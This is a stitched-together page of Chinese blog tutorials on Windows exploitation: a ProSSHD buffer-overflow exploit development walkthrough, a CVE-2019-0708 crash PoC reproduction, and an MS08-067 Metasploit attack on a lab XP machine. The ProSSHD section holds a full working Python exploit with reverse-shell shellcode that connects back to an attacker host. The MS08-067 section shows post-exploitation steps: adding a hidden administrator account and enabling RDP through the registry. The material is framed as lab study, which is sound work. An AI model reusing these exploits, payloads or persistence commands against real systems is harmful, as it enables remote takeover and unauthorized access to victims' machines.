精华内容
下载资源
问答
  • 现代化windows漏洞利用程序开发,包括WinDbg使用、SEH、堆、Windows基础、Shellcode等内容,为入门教材。
  • 高级Windows利用开发资源 一些资源,链接,书籍和论文主要与Windows Internals和Windows内核相关。我最喜欢看的谈话和视频。 :warning:这些都是我个人使用并经历过的资源 真正重要的资源 必须看/读(如果可以选择...
  • windows漏洞利用

    千次阅读 2018-09-13 16:22:28
    控制EIP、确定偏移、确定攻击向量、构建漏洞攻击、测试漏洞攻击、调试漏洞攻击程序。 prosshd1.2漏洞测试: 在windows中创建一个测试用户,添加用户启动服务看是否能连接主机: ssh -p 22 test@192.168.1....

    编译运行 源代码:

    #include <stdio.h>
    
    greeting(char *temp1, char *temp2){
    	
    	char name[400];
    	strcpy(name, temp2);
    	printf("Hello %s %s\n", temp1, temp2);
    }
    
    main(int argc, char *argv[]){
    	greeting(argv[1], argv[2]);
    	printf("Bye %s %s\n", argv[1], argv[2]);
    }

    使用Immunity Debugger 调试程序:

    F2设置断点,F9执行,F7单步执行,F8单步执行并跨过函数调用

    X86 中有八个通用寄存器:

    EAX累加器寄存器,EBX基础寄存器,ECX计数寄存器,EDX数据寄存器,ESI源寄存器,EDI目的寄存器,EBP基本指针,ESP堆栈指针,EIP指令指针。

    alt+M 查看内存映射,包括堆、栈、DLL和可执行文件:

    alt+e 可执行模块列表:

    修改代码方便调试,上面代码使用python 命令行传参参数调试简单,但是不是很方便。

    #include <stdio.h>
    
    greeting(char *temp1, char *temp2){
    	
    	char name[10];
    	strcpy(name, temp2);
    	printf("Hello %s %s\n", temp1, temp2);
    }
    
    main(int argc, char *argv[]){
    	greeting(argv[1], argv[2]);
    	printf("Bye %s %s\n", argv[1], argv[2]);
    }

    Immunity debugger调试:

    笨方试数溢出,参数不能多也不能太多也不能少

    传入参数 程序崩溃

    alt + e 双击调试程序

    F9执行 -> F8跨过函数调用

    继续执行程序崩溃。程序没有异常的处理,交给系统处理。

    ————————————————————————————————————————————————————————

    编写漏洞攻击程序:

    控制EIP、确定偏移、确定攻击向量、构建漏洞攻击、测试漏洞攻击、调试漏洞攻击程序。

    prosshd1.2漏洞测试:

    在windows中创建一个测试用户,添加用户启动服务看是否能连接主机:

    ssh -p 22 test@192.168.1.102
    The authenticity of host '192.168.1.102 (192.168.1.102)' can't be established.
    RSA key fingerprint is SHA256:JPOlsgfYZhAizWUj7xFiiMldKlJWw0utnRt27m5ty8g.
    Are you sure you want to continue connecting (yes/no)? ye
    Please type 'yes' or 'no': yes
    Warning: Permanently added '192.168.1.102' (RSA) to the list of known hosts.
    test@192.168.1.102's password: 
    Microsoft Windows [�汾 6.1.7601]
    ��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
    
    C:\Users\Public\Program Files\Lab-NC\ProSSHD>exit
    Connection to 192.168.1.102 closed.
    

    python溢出代码:

    #!/usr/bin/python
    
    import paramiko
    from scpclient import *
    from contextlib import closing
    from time import sleep
    import struct
    
    hostname = "192.168.1.102"
    username = "test"
    password = "123456"
    req = "A" * 502  #有可能是501或者更大 需要尝试
    
    ssh_client = paramiko.SSHClient()
    ssh_client.load_system_host_keys()
    ssh_client.connect(hostname, username=username,key_filename=None, password=password)
    
    sleep(15)
    
    with closing(Read(ssh_client.get_transport(), req)) as scp:
    	scp.receive("foo.txt")

    启动python程序,在windows中快速打开Immunity 添加wsshd.exe进程

    F9执行,最后程序崩溃看到EIP控制权

    确定偏移 mona 插件 : https://github.com/corelan/mona 

    底部输入命令 打开日志窗口

    回到CPU主页面 底部输入命令 生成502字节模板,

    修改python程序:

    req = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6A"

    运行程序,在调试器中调试结果:

    使用mona计算EIP偏移:

    windows系统栈位于低地址中,为了避开0x00等空字节,需要在调试程序或DLL中搜索该操作码。

    该模块 并不受漏洞攻击反制操作保护,也不参与ASLR,在其中找到操作码。

    会在D:\tools\monalogs\wsshd目录下看到jmp.txt 打开查看

    0x7c345c30 : push esp # ret  | asciiprint,ascii {PAGE_EXECUTE_READ} [MSVCR71.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v7.10.3052.4 (C:\Users\Public\Program Files\Lab-NC\ProSSHD\MSVCR71.dll)
    

    测试shellcode:

    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.105 LPORT=4444 -b "\x00" -f python -v shellcode
    import paramiko
    from scpclient import *
    from contextlib import closing
    from time import sleep
    import struct
    
    hostname = "192.168.1.102"
    username = "test"
    password = "123456"
    jmp = struct.pack('<L', 0x7c345c30)
    pad = "\x90" * 12
    
    shellcode =  ""
    shellcode += "\xdd\xc0\xd9\x74\x24\xf4\xbf\xad\xab\x85\x73\x5b"
    shellcode += "\x33\xc9\xb1\x52\x31\x7b\x17\x03\x7b\x17\x83\x46"
    shellcode += "\x57\x67\x86\x64\x40\xea\x69\x94\x91\x8b\xe0\x71"
    shellcode += "\xa0\x8b\x97\xf2\x93\x3b\xd3\x56\x18\xb7\xb1\x42"
    shellcode += "\xab\xb5\x1d\x65\x1c\x73\x78\x48\x9d\x28\xb8\xcb"
    shellcode += "\x1d\x33\xed\x2b\x1f\xfc\xe0\x2a\x58\xe1\x09\x7e"
    shellcode += "\x31\x6d\xbf\x6e\x36\x3b\x7c\x05\x04\xad\x04\xfa"
    shellcode += "\xdd\xcc\x25\xad\x56\x97\xe5\x4c\xba\xa3\xaf\x56"
    shellcode += "\xdf\x8e\x66\xed\x2b\x64\x79\x27\x62\x85\xd6\x06"
    shellcode += "\x4a\x74\x26\x4f\x6d\x67\x5d\xb9\x8d\x1a\x66\x7e"
    shellcode += "\xef\xc0\xe3\x64\x57\x82\x54\x40\x69\x47\x02\x03"
    shellcode += "\x65\x2c\x40\x4b\x6a\xb3\x85\xe0\x96\x38\x28\x26"
    shellcode += "\x1f\x7a\x0f\xe2\x7b\xd8\x2e\xb3\x21\x8f\x4f\xa3"
    shellcode += "\x89\x70\xea\xa8\x24\x64\x87\xf3\x20\x49\xaa\x0b"
    shellcode += "\xb1\xc5\xbd\x78\x83\x4a\x16\x16\xaf\x03\xb0\xe1"
    shellcode += "\xd0\x39\x04\x7d\x2f\xc2\x75\x54\xf4\x96\x25\xce"
    shellcode += "\xdd\x96\xad\x0e\xe1\x42\x61\x5e\x4d\x3d\xc2\x0e"
    shellcode += "\x2d\xed\xaa\x44\xa2\xd2\xcb\x67\x68\x7b\x61\x92"
    shellcode += "\xfb\x44\xde\x9d\x92\x2c\x1d\x9d\x75\xf1\xa8\x7b"
    shellcode += "\x1f\x19\xfd\xd4\x88\x80\xa4\xae\x29\x4c\x73\xcb"
    shellcode += "\x6a\xc6\x70\x2c\x24\x2f\xfc\x3e\xd1\xdf\x4b\x1c"
    shellcode += "\x74\xdf\x61\x08\x1a\x72\xee\xc8\x55\x6f\xb9\x9f"
    shellcode += "\x32\x41\xb0\x75\xaf\xf8\x6a\x6b\x32\x9c\x55\x2f"
    shellcode += "\xe9\x5d\x5b\xae\x7c\xd9\x7f\xa0\xb8\xe2\x3b\x94"
    shellcode += "\x14\xb5\x95\x42\xd3\x6f\x54\x3c\x8d\xdc\x3e\xa8"
    shellcode += "\x48\x2f\x81\xae\x54\x7a\x77\x4e\xe4\xd3\xce\x71"
    shellcode += "\xc9\xb3\xc6\x0a\x37\x24\x28\xc1\xf3\x54\x63\x4b"
    shellcode += "\x55\xfd\x2a\x1e\xe7\x60\xcd\xf5\x24\x9d\x4e\xff"
    shellcode += "\xd4\x5a\x4e\x8a\xd1\x27\xc8\x67\xa8\x38\xbd\x87"
    shellcode += "\x1f\x38\x94"
    
    req = "A" * 489 + jmp + pad + shellcode
    
    ssh_client = paramiko.SSHClient()
    ssh_client.load_system_host_keys()
    ssh_client.connect(hostname, username=username,key_filename=None, password=password)
    
    sleep(15)
    
    with closing(Read(ssh_client.get_transport(), req)) as scp:
    	scp.receive("foo.txt")

    成功:

    msf exploit(multi/handler) > set payload windows/shell_reverse_tcp 
    payload => windows/shell_reverse_tcp
    msf exploit(multi/handler) > set LHOST 192.168.1.105
    LHOST => 192.168.1.105
    msf exploit(multi/handler) > exploit 
    
    [*] Started reverse TCP handler on 192.168.1.105:4444 
    [*] Command shell session 1 opened (192.168.1.105:4444 -> 192.168.1.102:49282) at 2018-09-13 16:17:27 +0800
    
    C:\Users\Public\Program Files\Lab-NC\ProSSHD>
    

    ________________________________________________________

    展开全文
  • 现代化windows漏洞利用程序开发,对漏洞进行调试,运用PYTHON等脚本编写POC
  • Windows漏洞利用建议程序-下一代(WES-NG) WES-NG是基于Windows的systeminfo实用程序输出的工具,该工具提供了OS易受攻击的漏洞列表,包括针对这些漏洞的任何利用。 支持Windows XP和Windows 10之间的每个Windows...
  • 翻过国外的一个二进制漏洞学习教程, 非常适合刚学习漏洞的新人。
  • Sherlock和Watson漏洞利用程序再次检查Windows漏洞利用程序建议程序(wes)NG此项目是一个简单的python脚本,用于过滤来自wesNG的输出,以仅显示sherlock和watson寻找的特权升级CVE。 基本原理 之所以制作此脚本,...
  • 在正常情况下,您可能不会从事漏洞利用开发工作,您可能必须加入政府或将其作为一种业余爱好。 漏洞利用开发可教您如何破坏软件,因此,如果您想成为软件安全研究人员,这是一项很棒的技能! 它教您如何开发软件,...
  • 介绍了了 Windows 10 1607 和 1703 版本中引⼊入的针对内核漏漏洞洞利利⽤用的防护措施,在此基础上将给出相应的绕过⽅方案, 从⽽而使我们能够重新获得内核态下的 RW primitives,并进⼀一步实现 KASLR 绕过以及...
  • E015-渗透测试常用工具-使用Eternal Blues进行Windows漏洞利用
  • 翻译国外的一个二进制漏洞学习教程, 非常适合刚学习漏洞的新人。
  • 系统安全系列作者将深入研究恶意样本分析、逆向分析、漏洞利用、攻防实战等,通过在线笔记和实践操作的形式分享与博友们学习。前文通过编写程序实现获取Windows系统目录文件,并对其进行加密和解密的过程。这篇文章...

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列。因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全、逆向分析和恶意代码检测,“系统安全”系列文章会更加聚焦,更加系统,更加深入,也是作者的慢慢成长史。换专业确实挺难的,逆向分析也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~

    系统安全系列作者将深入研究恶意样本分析、逆向分析、攻防实战和Windows漏洞利用等,通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步。前文通过编写程序实现加密和解密,并讲解了OllyDbg和在线沙箱的逆向分析过程。这篇文章将详细介绍Windows远程桌面服务漏洞(CVE-2019-0708),该高危漏洞利用方式是通过远程桌面端口3389,RDP协议进行攻击,堪比WannaCry。希望对入门的同学有帮助。

    话不多说,让我们开始新的征程吧!您的点赞、评论、收藏将是对我最大的支持,感恩安全路上一路前行,如果有写得不好的地方,可以联系我修改。基础性文章,希望对您有所帮助,作者的目的是与安全人共同进步,加油!也强烈推荐大家去看看参考文献的视频和书籍。

    作者的github资源:

    前文分析:

    声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。


    一.漏洞描述

    2019年5月14日微软官方发布安全补丁,修复了Windows远程桌面服务的远程代码执行漏洞(CVE-2019-0708),该高危漏洞利用方式是通过远程桌面端口3389,RDP协议进行攻击的,堪比WannaCry。它影响了某些旧版本的Windows系统,包括:

    • Windows 7 for 32-bit Systems Service Pack 1
    • Windows 7 for x64-based Systems Service Pack 1
    • Windows Server 2008 for 32-bit Systems Service Pack 2
    • Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
    • Windows Server 2008 for Itanium-Based Systems Service Pack 2
    • Windows Server 2008 for x64-based Systems Service Pack 2
    • Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
    • Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1
    • Windows Server 2008 R2 for x64-based Systems Service Pack 1
    • Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
    • Windows XP SP3 x86
    • Windows XP Professional x64 Edition SP2
    • Windows XP Embedded SP3 x86
    • Windows Server 2003 SP2 x86
    • Windows Server 2003 x64 Edition SP2
    • Windows 8和Windows 10及之后版本的用户不受此漏洞影响

    2019年09月07日,黑客大佬Rapid7在Github公开发布了CVE-2019-0708(Windows远程桌面服务漏洞)的EXP,基于该模块的漏洞利用工具开始扩散,已经构成了蠕虫级的攻击威胁。

    据360Center分析,该漏洞是预身份验证且无需用户交互,这意味着这个漏洞可以通过网络蠕虫的方式被利用。利用此漏洞的任何恶意软件都可能从被感染的计算机传播到其他易受攻击的计算机,其方式与2017年WannaCry恶意软件的传播方式类似。成功利用此漏洞的攻击者可以在目标系统完成安装应用程序,查看、更改或删除数据,创建完全访问权限的新账户等操作。

    CVE-2019-0708已公开的漏洞利用工具可以极易的被普通攻击者使用,脚本化/批量化/自动化攻击将接踵而至。经研判,360CERT确认漏洞等级严重,影响面广,建议相关单位、企业内部立即进行安全排查,给在漏洞影响范围内的服务器、主机及时更新安全补丁。



    二.远程桌面连接

    首先,我们需要在Win7系统(攻击机)设置远程连接。

    在这里插入图片描述

    点击“远程设置”->“远程”,勾选“允许远程协助连接这台计算机”和“仅允许运行使用网络级别身份验证的远程桌面的计算机联机”,然后点击“应用”。

    在这里插入图片描述

    查看IP地址为:

    • 192.168.0.111

    在这里插入图片描述

    接着打开远程控制的电脑Win10系统,在运行中输入“mstsc”。

    在这里插入图片描述

    远程桌面连接中输入IP地址“192.168.0.111”,再点击“连接”按钮。

    在这里插入图片描述

    输入用户名和密码。

    在这里插入图片描述

    接着确定远程桌面连接。

    在这里插入图片描述

    成功控制电脑,这就是远程连接的过程。接下来我们就利用Kali环境复现该CVE漏洞。

    在这里插入图片描述

    简单总结,Win7中允许远程连接主要是设置IP地址,开启计算机属性中的远程连接开关即可。



    三.Kali系统还原漏洞

    第一步,开启Win10系统的虚拟机Kali系统。

    在这里插入图片描述

    第二步,通过git命令下载远程代码。

    git clone https://github.com/n1xbyte/CVE-2019-0708.git
    

    在这里插入图片描述

    原网站内容显示如下所示:

    在这里插入图片描述

    第三步,查看所下载资源的组成,可以看到crashpoc.py、poc.py、README.md文件。

    ls
    cd CVE-2019-0708
    ls
    

    在这里插入图片描述

    第四步,查看文件权限并升级权限。

    ls -lh
    

    通过“ls -lh”命令查看权限,以“crashpoc.py”权限为例,第一块“-rwx”代表文件主人root的权限,即管理员权限;第二块“r– –”代表这个文件所在组的其他人的权限;第三块“r– –”代表其他人的权限,如Apache等软件属于其他人权限。“r”代表读取权限、“w”达标写入权限、“x”代表执行权限。

    在这里插入图片描述

    chmod 777 crashpoc.py
    

    调用命令“chmod 777 crashpoc.py”修改权限,“chmod”表示change mod修改文件属性;“crashpoc.py”表示所修改的文件;“777”表示权限列表,每个“7”表示一组,总共三组,“r– –”二进制表示“100”,其值为4,而“111”二进制值为7(4+2+1),即所有权限都开启。

    输入下面的命令修改权限,“x”代表执行权限,可以看到“crashpoc.py”文件变成了绿色,表示可执行。同时该文件权限修改为“-rwx r-x r-x”。

    chmod +x crashpoc.py
    

    在这里插入图片描述

    第五步,查看源代码。

    cat crashpoc.py
    cat poc.py
    

    打开crashpoc.py查看源代码,发现需要安装impacket、Structure扩展包。

    在这里插入图片描述

    在这里插入图片描述

    下述命令“whereis python3”能查看安装位置,“pip3 list”能查看Python安装的所有扩展包。

    在这里插入图片描述

    第六步,安装扩展包。

    pip3 install impacket
    pip3 install Structure
    

    在这里插入图片描述

    第七步,利用脚本进行攻击。

    python3 crashpoc.py 192.168.0.111 32
    #ip地址 系统版本
    

    目标主机蓝屏,复现如下图所示。

    在这里插入图片描述

    注意,运行代码可能会导致错误,Why?应该是OpenSSL的问题。

    在这里插入图片描述



    四.总结

    写到这里,这篇文章就介绍结束了,希望对您有所帮助。这里也推荐大家阅读360、绿盟和谢公子大神的文章(参考文献),他们通过MSF目录复现了该漏洞。网上很多实验都是还未攻击就变成蓝屏,说明该漏洞没有MS17_010永恒之蓝的质量高,而且存在一定限制。这篇文章也存在一些不足,作者没有深入理解其原理,也是作为网络安全初学者的慢慢成长路吧!后续会继续深入,更透彻撰写相关文章。

    在这里插入图片描述

    最后补充防御方法:

    • 微软官方已经发布更新补丁(包括Windows XP等停止维护的版本),请用户及时进行补丁更新
    • 若用户不需要用到远程桌面服务,建议禁用该服务
    • 在防火墙中对TCP 3389端口进行阻断
    • 开启系统防火墙或IP安全策略限制来源IP,即只允许指定IP访问
    • 启用网络级认证(NLA),此方案适用于Windows 7, Windows Server 2008, and Windows Server 2008 R2
    • 安装必要的防火墙或杀毒软件,关注安全公司的漏洞报告或防御文章

    在这里插入图片描述


    真心感觉自己要学习的知识好多,也有好多大神卧虎藏龙、开源分享。作为初学者,我们可能有差距,不论你之前是什么方向,是什么工作,是什么学历,是大学大专中专,亦或是高中初中,只要你喜欢安全,喜欢渗透,就朝着这个目标去努力吧!有差距不可怕,我们需要的是去缩小差距,去战斗,况且这个学习的历程真的很美,安全真的有意思。但切勿去做坏事,我们需要的是白帽子,是维护我们的网络,安全路上共勉。

    最后,真诚地感谢您关注“娜璋之家”公众号,也希望我的文章能陪伴你成长,希望在技术路上不断前行。文章如果对你有帮助、有感悟,就是对我最好的回报,且看且珍惜!再次感谢您的关注,也请帮忙宣传下“娜璋之家”,哈哈~初来乍到,还请多多指教。

    在这里插入图片描述

    (By: Eastmount 2020-12-27 夜于武汉 https://blog.csdn.net/Eastmount)


    参考文献:

    • https://github.com/n1xbyte/CVE-2019-0708
    • CVE-2019-0708 远程桌面漏洞复现-谢公子大神
    • CVE-2019-0708 漏洞利用复现-u010062917
    • https://github.com/rapid7/metasploit-framework
    • 360Windows RDP服务蠕虫级漏洞
    • CVE-2019-0708 EXP披露预警-绿盟
    展开全文
  • 系统安全系列作者将深入研究恶意样本分析、逆向分析、攻防实战和Windows漏洞利用等,通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步。前文介绍了Windows远程桌面服务漏洞(CVE-2019-0708),该...

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列。因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全、逆向分析和恶意代码检测,“系统安全”系列文章会更加聚焦,更加系统,更加深入,也是作者的慢慢成长史。换专业确实挺难的,逆向分析也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~

    系统安全系列作者将深入研究恶意样本分析、逆向分析、攻防实战和Windows漏洞利用等,通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步。前文介绍了Windows远程桌面服务漏洞(CVE-2019-0708),该高危漏洞利用方式是通过远程桌面端口3389,RDP协议进行攻击。这篇文章将详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程,它是Windows Server服务RPC请求缓冲区溢出漏洞,利用445端口,并通过Metasploit工具获取shell及进行深入的操作。希望对入门的同学有帮助。

    话不多说,让我们开始新的征程吧!您的点赞、评论、收藏将是对我最大的支持,感恩安全路上一路前行,如果有写得不好的地方,可以联系我修改。基础性文章,希望对您有所帮助,作者的目的是与安全人共同进步,加油!也强烈推荐大家去看看参考文献的视频和书籍。

    作者的github资源:

    前文分析:

    声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。


    一.漏洞描述

    MS08-067漏洞全称是“Windows Server服务RPC请求缓冲区溢出漏洞”,攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC(Remote Procedure Call,远程过程调用)请求,造成栈缓冲区内存错误,从而被利用实施远程代码执行。

    当用户在受影响的系统上收到RPC请求时,该漏洞会允许远程执行代码,攻击者可以在未经身份验证情况下利用此漏洞运行任意代码。同时,该漏洞可以用于蠕虫攻击。它影响了某些旧版本的Windows系统,包括:

    • Windows 2000
    • Windows XP
    • Windows Server 2003

    漏洞原理:
    MS08-067漏洞是通过MSRPC over SMB通道调用Server程序中的NEtPathCanonicalize函数时触发的。NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误(溢出),造成可被利用实施远程代码执行(Remote Code Execution)。后续部分我将分析该漏洞的CFG流程图及漏洞成因。

    在这里插入图片描述

    本文参考了很多大佬的文章,再次感谢他们。实验部分是结合自己的实践和经验讲解,如果存在错误或不足之处,也请批评和指正。



    二.环境搭建

    1.环境准备

    • 受害机:Windows XP SP1镜像
    • 攻击机:Kali系统

    第一步,在虚拟机中安装Windows XP SP1系统和Kali系统。

    在这里插入图片描述

    第二步,虚拟机两个系统之间能够相互通信。

    • Kali:192.168.44.136
    • Win XP:192.168.44.135

    在这里插入图片描述

    在这里插入图片描述

    第三步,打开Windows XP系统,确定445端口开启。如下图所示,在Win XP的CMD中输入“netstat -sn”查看端口445是否打开。

    在这里插入图片描述

    第四步,关闭Windows XP系统的防火墙。

    在这里插入图片描述

    做完这些初始准备之后,我们开始利用Kali系统进行漏洞复现。


    2.端口详解

    这里作者补充一些端口的基础知识,更有利于我们进行Web渗透实验。

    (1) 端口作用
    我们知道,一台拥有IP地址的主机可以提供许多服务,比如Web服务、FTP服务、SMTP服务等,这些服务完全可以通过1个IP地址来实现。那么,主机是怎么区分不同的网络服务呢?显然不能只靠IP地址,因为IP地址与网络服务的关系是一对多的关系,实际上是通过“IP地址+端口号”来区分不同的服务的。

    需要注意的是,端口并不是一一对应的。比如你的电脑作为客户机访问一台WWW服务器时,WWW服务器使用“80”端口与你的电脑通信,但你的电脑则可能使用“3456”这样的端口。如下图所示:

    在这里插入图片描述

    (2) 端口的分类
    端口共1-65535号,知名端口范围从0到1023,这些端口号一般固定分配给一些服务,大家尽量不要使用。比如21端口分配给FTP服务,25端号分配给SMTP邮件传输协议服务,80端口分配给HTTP服务,135端口分配给RPC远程过程调用服务等等。

    动态端口的范围从1024到65535,这些端口号一般不固定分配给某个服务,也就是说许多服务都可以使用这些端口。只要运行的程序向系统提出访问网络的申请,那么系统就可以从这些端口号中分配一个供该程序使用。比如1024端口就是分配给第一个向系统发出申请的程序,在关闭程序进程后,就会释放所占用的端口号。注意,端口冲突就不能正常工作。

    同时,动态端口号也常常被病毒木马程序所利用,如冰河默认连接端口号是7626、WAY 2.4连接端口号是8011、Netspy 3.0连接端口号是7306、YAI病毒连接端口号是1024等等。

    (3) 常见的端口

    端口号含义
    21FTP文件传输协议代理服务器常用端口号
    22SSH安全登录、SCP文件传输、端口重定向端口号
    23Telnet远程登录协议代理服务器常用端口号
    25SMTP Simple Mail Transfer Protocol (E-mail) 端口号(木马Antigen、WinPC等开放该端口)
    53DNS域名解析服务端口号
    80/8080HTTP协议代理服务器常用端口号
    110POP3“邮局协议版本3”使用的端口号
    443HTTPS加密的超文本传输服务端口号
    445通过SMB(服务器信息块)协议,访问各种共享文件夹或共享打印机
    1080SOCKS代理协议服务器常用端口号
    1433MSSQL SERVER数据库默认端口号
    1521Oracle数据库服务端口号
    1863MSN Messenger的文件传输功能所使用的端口号
    3306MYSQL默认端口号
    3389Microsoft RDP微软远程桌面使用的端口号
    5631Symantec pcAnywhere远程控制数据传输时使用的端口号
    5632Symantec pcAnywhere 主控端扫描被控端时使用的端口号
    4000/8000腾讯QQ端口号

    (4) 黑客通过端口可以干什么

    • 信息收集
    • 目标探测
    • 服务判断
    • 系统判断
    • 角色分析

    (5) 445端口
    谢公子大佬在 “135、137、138、139和445端口” 文章中介绍过这些端口,它们都是与文件共享和打印机共享有关的端口,而且在这几个端口上经常爆发很严重的漏洞。比如2017年危害全球的永恒之蓝,就是利用的445端口。

    本篇文章的445端口就是利用SMB(Server Message Block)Windows协议族,用于文件共享、打印共享的服务。445端口是一个毁誉参半的端口,有了它我们可以在局域网中轻松访问各种共享文件夹或共享打印机,但也正是因为有了它,黑客们才有了可乘之机,他们能通过该端口偷偷共享你的硬盘,甚至会在悄无声息中将你的硬盘格式化掉!

    总之,公开服务器打开139和445端口是一件非常危险的事情。 如果有Guest帐号,而且没有设置任何密码时,就能够被人通过因特网轻松地盗看文件。如果给该帐号设置了写入权限,甚至可以轻松地篡改文件。也就是说在对外部公开的服务器中不应该打开这些端口。通过因特网使用文件服务器就等同自杀行为,因此一定要关闭139和445端口。对于利用ADSL永久性接入因特网的客户端机器可以说也是如此。



    三.利用Metasploit复现漏洞

    • 攻击机:Kali - 192.168.44.136
    • 受害机:Win XP - 192.168.44.135

    第一步,利用Nmap工具扫描端口及确认该漏洞是否存在。

    nmap -n -p 445 --script smb-vuln-ms08-067 192.168.44.135 --open
    

    nmap漏扫脚本目录为“/usr/share/nmap/script/”,如下图所示,扫描结果为VULNERABLE,表示MS0808-067漏洞存在且可以利用。

    在这里插入图片描述

    或者使用 “nmap -sV -Pn 192.168.44.135” 查看目标主机开放的端口。目标机开放了135、139、445、1025、5000端口,且目标机系统为Windows XP。作为黑客,一看到XP或2003系统的445端口开放,我们就能想到轰动一时的MS08-067。

    nmap  -sV -Pn 192.168.44.135
    

    在这里插入图片描述

    第二步,进入Msfconsole并利用search语句查找漏洞利用模块。
    终端内输入msfconsole打开metasploite命令行客户端,使用search命令查找ms08-067的漏洞利用模块。

    msfconsole
    search ms08-067
    

    在这里插入图片描述


    第三步,进入漏洞模块,并查看相关的使用说明。
    使用use命令选择我们要使用的利用模块。target设置为系统默认是自动定位,如果需要精确定位,可以show targets查看所有,然后进行选择。

    use exploit/windows/smb/ms08_067_netapi
    show options
    show targets
    

    在这里插入图片描述

    第四步,设置攻击机、受害机信息。

    # 目标机ip
    set RHOST 192.168.44.135
    # 端口号
    set RPORT 445
    # 设置payload
    set payload generic/shell_bind_tcp
    # 攻击机ip
    set LHOST 192.168.44.136
    # 设置自动类型
    set target 0
    # 显示配置信息
    show options
    

    在这里插入图片描述

    第五步,运行exploit反弹shell。
    此时我们成功获取了Windows XP系统的Shell,我们调用“ipconfig”查看的IP地址也是目标的“192.168.44.135”。

    exploit
    session 1
    ipconfig
    pwd
    

    在这里插入图片描述

    注意:Windows XP SP1系统是中文而不是英文的,需要对ms08_067_netapi_ser2003_zh.rb处理。

    第六步,在目标主机上创建文件夹及文件。

    cd ..
    # 创建文件夹
    mkdir hacker
    # 访问目录
    dir
    cd hacker
    # 创建文件并写入内容
    echo eastmount>test.txt
    # 查看目标系统的基本信息
    sysinfo
    

    在这里插入图片描述

    显示结果下图所示:

    在这里插入图片描述

    第七步,对目标XP主机进行深度提权。

    # 增加普通用户
    net user hacker 123456 /add 
    # 提升管理员权限
    net localgroup administrators hacker /add
    

    Windows DOM用户常用命令如下:

    • net user abcd 1234 /add
      新建一个用户名为abcd,密码为1234的帐户,默认为user组成员
    • net user abcd /del
      将用户名为abcd的用户删除
    • net user abcd /active:no
      将用户名为abcd的用户禁用
    • net user abcd /active:yes
      激活用户名为abcd的用户
    • net user abcd
      查看用户名为abcd的用户的情况
    • net localgroup administrators abcd /add
      将abcd账户给予管理员权限

    在这里插入图片描述

    此时被攻击的主机新增“hacker”管理员如下图所示:

    在这里插入图片描述

    第八步,开启远程连接3389端口并进行远程操作。

    # 开启远程连接
    echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
    # 查看网络端口
    netstat -an
    # 远程连接
    rdesktop 192.168.44.135
    

    首先查看端口,发现目标主机Windows XP并未开启3389端口。

    在这里插入图片描述

    输入命令开启远程连接端口。

    在这里插入图片描述

    接着输入“rdesktop 192.168.44.135”连接远程IP地址,并输入我们创建好的hacker用户名及密码。

    在这里插入图片描述

    输入创建的用户名hacker和密码123456回车,弹出提示框点击OK,稍等就会成功远程登录XP系统。

    哇塞,是不是很惊讶!这也是本文的深度提权知识。

    在这里插入图片描述

    最后,我们还需要将新建的用户名hacker删除。写到这里,整个实验就讲解完毕。



    四.常见错误及漏洞原因分析

    1.常见错误

    我们在运行exploit执行漏洞利用模块时,有时会有相关错误。比如一直提示“exploit completed,but no session was created”或“ConnectionRefused the connection was refused by the remote host”。需要注意:

    • Windows XP系统关闭防火墙
    • 漏洞不稳定多尝试几次

    在这里插入图片描述

    有时XP系统会提示“Generic Host Process for win32 services”错误。这是svchost.exe错误,内存溢出造成。

    在这里插入图片描述

